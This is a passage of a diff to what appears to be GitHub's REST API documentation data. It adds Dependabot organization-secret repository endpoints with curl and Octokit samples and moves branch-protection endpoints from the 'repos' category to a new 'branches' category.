class=\"hljs-string\">\"https://api.github.com/users/octocat/events{/privacy}\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"received_events_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/users/octocat/received_events\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"type\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"User\"</span><span class=\"hljs-punctuation\">,</span>\n        <span class=\"hljs-attr\">\"site_admin\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-keyword\">false</span>\n      <span class=\"hljs-punctuation\">}</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"private\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-keyword\">false</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"html_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://github.com/octocat/Hello-World\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"description\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"This your first repo!\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"fork\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-keyword\">false</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"archive_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/{archive_format}{/ref}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"assignees_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/assignees{/user}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"blobs_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/git/blobs{/sha}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"branches_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/branches{/branch}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"collaborators_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/collaborators{/collaborator}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"comments_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/comments{/number}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"commits_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/commits{/sha}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"compare_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/compare/{base}...{head}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"contents_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/contents/{+path}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"contributors_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/contributors\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"deployments_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/deployments\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"downloads_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/downloads\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"events_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/events\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"forks_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/forks\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"git_commits_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/git/commits{/sha}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"git_refs_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/git/refs{/sha}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"git_tags_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/git/tags{/sha}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"git_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"git:github.com/octocat/Hello-World.git\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"issue_comment_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/issues/comments{/number}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"issue_events_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/issues/events{/number}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"issues_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/issues{/number}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"keys_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/keys{/key_id}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"labels_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/labels{/name}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"languages_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/languages\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"merges_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/merges\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"milestones_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/milestones{/number}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"notifications_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/notifications{?since,all,participating}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"pulls_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/pulls{/number}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"releases_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/releases{/id}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"ssh_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"git@github.com:octocat/Hello-World.git\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"stargazers_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/stargazers\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"statuses_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/statuses/{sha}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"subscribers_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/subscribers\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"subscription_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/subscription\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"tags_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/tags\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"teams_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/teams\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"trees_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"https://api.github.com/repos/octocat/Hello-World/git/trees{/sha}\"</span><span class=\"hljs-punctuation\">,</span>\n      <span class=\"hljs-attr\">\"hooks_url\"</span><span class=\"hljs-punctuation\">:</span> <span class=\"hljs-string\">\"http://api.github.com/repos/octocat/Hello-World/hooks\"</span>\n    <span class=\"hljs-punctuation\">}</span>\n  <span class=\"hljs-punctuation\">]</span>\n<span class=\"hljs-punctuation\">}</span>\n</code></pre>"
+      }
+    ]
+  },
+  {
+    "verb": "put",
+    "requestPath": "/orgs/{org}/dependabot/secrets/{secret_name}/repositories",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "org",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "secret_name",
+        "description": "secret_name parameter",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>secret_name parameter</p>"
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -X PUT \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME/repositories \\\n  -d '{\"selected_repository_ids\":[42]}'",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -X PUT \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME/repositories \\\n  -d '{\"selected_repository_ids\":[42]}'</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('PUT /orgs/{org}/dependabot/secrets/{secret_name}/repositories', {\n  org: 'org',\n  secret_name: 'secret_name',\n  selected_repository_ids: [\n    42\n  ]\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'PUT /orgs/{org}/dependabot/secrets/{secret_name}/repositories'</span>, {\n  <span class=\"hljs-attr\">org</span>: <span class=\"hljs-string\">'org'</span>,\n  <span class=\"hljs-attr\">secret_name</span>: <span class=\"hljs-string\">'secret_name'</span>,\n  <span class=\"hljs-attr\">selected_repository_ids</span>: [\n    <span class=\"hljs-number\">42</span>\n  ]\n})\n</code></pre>"
+      }
+    ],
+    "summary": "Set selected repositories for an organization secret",
+    "description": "Replaces all repositories for an organization secret when the `visibility` for repository access is set to `selected`. The visibility is set when you [Create or update an organization secret](https://docs.github.com/rest/reference/dependabot#create-or-update-an-organization-secret). You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/set-selected-repos-for-org-secret",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret"
+    },
+    "requestBody": {
+      "required": true,
+      "content": {
+        "application/json": {
+          "schema": {
+            "type": "object",
+            "properties": {
+              "selected_repository_ids": {
+                "type": "array of integers",
+                "description": "<p><strong>Required</strong>. An array of repository ids that can access the organization secret. You can only provide a list of repository ids when the <code>visibility</code> is set to <code>selected</code>. You can add and remove individual repositories using the <a href=\"https://docs.github.com/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret\">Set selected repositories for an organization secret</a> and <a href=\"https://docs.github.com/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret\">Remove selected repository from an organization secret</a> endpoints.</p>",
+                "items": {
+                  "type": "integer"
+                },
+                "name": "selected_repository_ids",
+                "in": "body",
+                "rawType": "array",
+                "rawDescription": "An array of repository ids that can access the organization secret. You can only provide a list of repository ids when the `visibility` is set to `selected`. You can add and remove individual repositories using the [Set selected repositories for an organization secret](https://docs.github.com/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) and [Remove selected repository from an organization secret](https://docs.github.com/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) endpoints.",
+                "childParamsGroups": []
+              }
+            },
+            "required": [
+              "selected_repository_ids"
+            ]
+          },
+          "example": {
+            "selected_repository_ids": [
+              64780797
+            ]
+          }
+        }
+      }
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "set-selected-repositories-for-an-organization-secret",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "contentType": "application/json",
+    "notes": [],
+    "responses": [
+      {
+        "httpStatusCode": "204",
+        "httpStatusMessage": "No Content",
+        "description": "Response"
+      }
+    ],
+    "descriptionHTML": "<p>Replaces all repositories for an organization secret when the <code>visibility</code> for repository access is set to <code>selected</code>. The visibility is set when you <a href=\"https://docs.github.com/rest/reference/dependabot#create-or-update-an-organization-secret\">Create or update an organization secret</a>. You must authenticate using an access token with the <code>admin:org</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> organization permission to use this endpoint.</p>",
+    "bodyParameters": [
+      {
+        "type": "array of integers",
+        "description": "<p><strong>Required</strong>. An array of repository ids that can access the organization secret. You can only provide a list of repository ids when the <code>visibility</code> is set to <code>selected</code>. You can add and remove individual repositories using the <a href=\"https://docs.github.com/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret\">Set selected repositories for an organization secret</a> and <a href=\"https://docs.github.com/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret\">Remove selected repository from an organization secret</a> endpoints.</p>",
+        "items": {
+          "type": "integer"
+        },
+        "name": "selected_repository_ids",
+        "in": "body",
+        "rawType": "array",
+        "rawDescription": "An array of repository ids that can access the organization secret. You can only provide a list of repository ids when the `visibility` is set to `selected`. You can add and remove individual repositories using the [Set selected repositories for an organization secret](https://docs.github.com/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) and [Remove selected repository from an organization secret](https://docs.github.com/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) endpoints.",
+        "childParamsGroups": []
+      }
+    ]
+  },
+  {
+    "verb": "put",
+    "requestPath": "/orgs/{org}/dependabot/secrets/{secret_name}/repositories/{repository_id}",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "org",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "secret_name",
+        "description": "secret_name parameter",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>secret_name parameter</p>"
+      },
+      {
+        "name": "repository_id",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "integer"
+        },
+        "descriptionHTML": ""
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -X PUT \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME/repositories/42",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -X PUT \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME/repositories/42</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('PUT /orgs/{org}/dependabot/secrets/{secret_name}/repositories/{repository_id}', {\n  org: 'org',\n  secret_name: 'secret_name',\n  repository_id: 42\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'PUT /orgs/{org}/dependabot/secrets/{secret_name}/repositories/{repository_id}'</span>, {\n  <span class=\"hljs-attr\">org</span>: <span class=\"hljs-string\">'org'</span>,\n  <span class=\"hljs-attr\">secret_name</span>: <span class=\"hljs-string\">'secret_name'</span>,\n  <span class=\"hljs-attr\">repository_id</span>: <span class=\"hljs-number\">42</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "Add selected repository to an organization secret",
+    "description": "Adds a repository to an organization secret when the `visibility` for repository access is set to `selected`. The visibility is set when you [Create or update an organization secret](https://docs.github.com/rest/reference/dependabot#create-or-update-an-organization-secret). You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/add-selected-repo-to-org-secret",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#add-selected-repository-to-an-organization-secret"
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "add-selected-repository-to-an-organization-secret",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "notes": [],
+    "responses": [
+      {
+        "httpStatusCode": "204",
+        "httpStatusMessage": "No Content",
+        "description": "No Content when repository was added to the selected list"
+      },
+      {
+        "httpStatusCode": "409",
+        "httpStatusMessage": "Conflict",
+        "description": "Conflict when visibility type is not set to selected"
+      }
+    ],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Adds a repository to an organization secret when the <code>visibility</code> for repository access is set to <code>selected</code>. The visibility is set when you <a href=\"https://docs.github.com/rest/reference/dependabot#create-or-update-an-organization-secret\">Create or update an organization secret</a>. You must authenticate using an access token with the <code>admin:org</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> organization permission to use this endpoint.</p>"
+  },
+  {
+    "verb": "delete",
+    "requestPath": "/orgs/{org}/dependabot/secrets/{secret_name}/repositories/{repository_id}",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "org",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "secret_name",
+        "description": "secret_name parameter",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>secret_name parameter</p>"
+      },
+      {
+        "name": "repository_id",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "integer"
+        },
+        "descriptionHTML": ""
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -X DELETE \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME/repositories/42",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -X DELETE \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/orgs/ORG/dependabot/secrets/SECRET_NAME/repositories/42</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('DELETE /orgs/{org}/dependabot/secrets/{secret_name}/repositories/{repository_id}', {\n  org: 'org',\n  secret_name: 'secret_name',\n  repository_id: 42\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'DELETE /orgs/{org}/dependabot/secrets/{secret_name}/repositories/{repository_id}'</span>, {\n  <span class=\"hljs-attr\">org</span>: <span class=\"hljs-string\">'org'</span>,\n  <span class=\"hljs-attr\">secret_name</span>: <span class=\"hljs-string\">'secret_name'</span>,\n  <span class=\"hljs-attr\">repository_id</span>: <span class=\"hljs-number\">42</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "Remove selected repository from an organization secret",
+    "description": "Removes a repository from an organization secret when the `visibility` for repository access is set to `selected`. The visibility is set when you [Create or update an organization secret](https://docs.github.com/rest/reference/dependabot#create-or-update-an-organization-secret). You must authenticate using an access token with the `admin:org` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` organization permission to use this endpoint.",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/remove-selected-repo-from-org-secret",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret"
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "remove-selected-repository-from-an-organization-secret",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "notes": [],
+    "responses": [
+      {
+        "httpStatusCode": "204",
+        "httpStatusMessage": "No Content",
+        "description": "Response when repository was removed from the selected list"
+      },
+      {
+        "httpStatusCode": "409",
+        "httpStatusMessage": "Conflict",
+        "description": "Conflict when visibility type not set to selected"
+      }
+    ],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Removes a repository from an organization secret when the <code>visibility</code> for repository access is set to <code>selected</code>. The visibility is set when you <a href=\"https://docs.github.com/rest/reference/dependabot#create-or-update-an-organization-secret\">Create or update an organization secret</a>. You must authenticate using an access token with the <code>admin:org</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> organization permission to use this endpoint.</p>"
+  },
   {
     "verb": "get",
     "requestPath": "/orgs/{org}/events",
@@ -39476,10 +40415,8 @@
       "subcategory": "branches"
     },
     "slug": "list-branches",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -39561,10 +40498,8 @@
       "subcategory": "branches"
     },
     "slug": "get-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -39655,10 +40590,10 @@
       "subcategory": "branches"
     },
     "slug": "get-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -40567,10 +41502,10 @@
       "subcategory": "branches"
     },
     "slug": "update-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "responses": [
@@ -41427,10 +42362,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -41511,10 +42446,10 @@
       "subcategory": "branches"
     },
     "slug": "get-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -41591,10 +42526,10 @@
       "subcategory": "branches"
     },
     "slug": "set-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Adding admin enforcement requires admin or owner permissions to the repository and branch protection to be enabled.</p>",
@@ -41671,10 +42606,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-admin-branch-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -41755,10 +42690,10 @@
       "subcategory": "branches"
     },
     "slug": "get-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -42030,10 +42965,10 @@
       "subcategory": "branches"
     },
     "slug": "update-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Updating pull request review enforcement requires admin or owner permissions to the repository and branch protection to be enabled.</p>\n<p><strong>Note</strong>: Passing new arrays of <code>users</code> and <code>teams</code> replaces their previous values.</p>",
@@ -42279,10 +43214,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-pull-request-review-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -42363,10 +43298,10 @@
       "subcategory": "branches"
     },
     "slug": "get-commit-signature-protection",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
